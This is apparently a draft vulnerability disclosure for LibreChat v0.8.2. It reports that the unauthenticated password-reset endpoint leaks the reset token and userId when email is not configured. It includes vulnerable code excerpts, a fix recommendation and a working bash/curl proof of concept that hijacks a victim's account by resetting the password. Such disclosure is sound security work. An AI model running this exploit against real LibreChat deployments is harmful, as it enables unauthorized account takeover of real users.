# Unauthenticated Password Reset Link Disclosure Enables Account Takeover When Email Is Not Configured ## meta platform: huntr program: LibreChat asset: https://github.com/danny-avila/LibreChat date: 2026-02-12 status: DRAFT ```` Repository URL: https://github.com/danny-avila/LibreChat Package Manager: npm Version Affected: v0.8.2 (commit cc7f61096be47ab2cd4e155bd44c18350f027f05) Vulnerability Type: Weak Password Recovery Mechanism for Forgotten Password CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Title: Unauthenticated Password Reset Link Disclosure Enables Account Takeover When Email Is Not Configured Description: ## summary LibreChat's password reset request endpoint returns a full password reset link (including the reset token and userId) in the HTTP response when server email is not configured (`checkEmailConfig()` is false). Because the `/api/auth/requestPasswordReset` route is unauthenticated, an attacker can request a password reset for any existing account email and immediately receive the reset token, then call `/api/auth/resetPassword` to set a new password and take over the account. ## details type: CWE-640 (Weak Password Recovery Mechanism for Forgotten Password) severity: critical cvss: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) file: api/server/services/AuthService.js:309 version: v0.8.2 (commit cc7f61096be47ab2cd4e155bd44c18350f027f05) ## vulnerable_code ### 1) Reset link is returned in API response when email is disabled **`api/server/services/AuthService.js`**: ```javascript const link = `${domains.client}/reset-password?token=${resetToken}&userId=${user._id}`; if (emailEnabled) { // send email } else { return { link }; // VULN: returns reset token to requester } ``` ### 2) Controller returns service output directly to the client **`api/server/controllers/AuthController.js`**: ```javascript const resetService = await requestPasswordReset(req); return res.status(200).json(resetService); ``` ### 3) Route is unauthenticated **`api/server/routes/auth.js`**: ```javascript router.post( '/requestPasswordReset', middleware.resetPasswordLimiter, middleware.checkBan, middleware.validatePasswordReset, resetPasswordRequestController, ); ``` ## steps_to_reproduce Preconditions: - `ALLOW_PASSWORD_RESET=true` (feature enabled). - Email is not configured, so `checkEmailConfig()` returns false. - A victim account exists with email `victim@example.com`. 1. Request a password reset for the victim. 2. Observe the server returns a JSON response containing `link` with `token` and `userId`. 3. Use the returned `token` and `userId` to reset the password. 4. Log in as the victim with the new password. ## poc ```bash BASE_URL="http://localhost:3080" VICTIM_EMAIL="victim@example.com" NEW_PASSWORD='P@ssw0rd-Changed-By-Attacker' # 1) Unauthenticated reset request leaks a usable reset link when email is not configured LEAKED_JSON=$(curl -s -X POST "$BASE_URL/api/auth/requestPasswordReset" \ -H 'Content-Type: application/json' \ --data "{\"email\":\"$VICTIM_EMAIL\"}") echo "$LEAKED_JSON" # Actual (vulnerable): {"link":"https:///reset-password?token=&userId="} TOKEN=$(python3 - <<'PY' import json,sys,urllib.parse j=json.loads(sys.stdin.read()) link=j["link"] q=urllib.parse.urlparse(link).query print(dict(urllib.parse.parse_qsl(q))["token"]) PY <<<"$LEAKED_JSON") USERID=$(python3 - <<'PY' import json,sys,urllib.parse j=json.loads(sys.stdin.read()) link=j["link"] q=urllib.parse.urlparse(link).query print(dict(urllib.parse.parse_qsl(q))["userId"]) PY <<<"$LEAKED_JSON") # 2) Reset the victim's password using leaked token curl -s -X POST "$BASE_URL/api/auth/resetPassword" \ -H 'Content-Type: application/json' \ --data "{\"userId\":\"$USERID\",\"token\":\"$TOKEN\",\"password\":\"$NEW_PASSWORD\"}" ``` ## expected_vs_actual expected: The reset endpoint should always return a generic success message and deliver the reset token only via an out-of-band channel (email), never in an API response. actual: When email is not configured, the API returns the full reset link (token + userId) to any unauthenticated requester. ## impact - Unauthenticated account takeover for any user account with a known email address. - User enumeration in misconfigured deployments (existing users return `link`, non-existent users return a generic message). ## fix - Never return the reset token/link in an API response. - When email is not configured, either: 1. Reject password reset requests with a safe error (e.g. 503 + message "Email not configured"), or 2. Require an authenticated session + re-authentication step before allowing a reset flow. ## references - https://cwe.mitre.org/data/definitions/640.html (CWE-640) - https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/ ````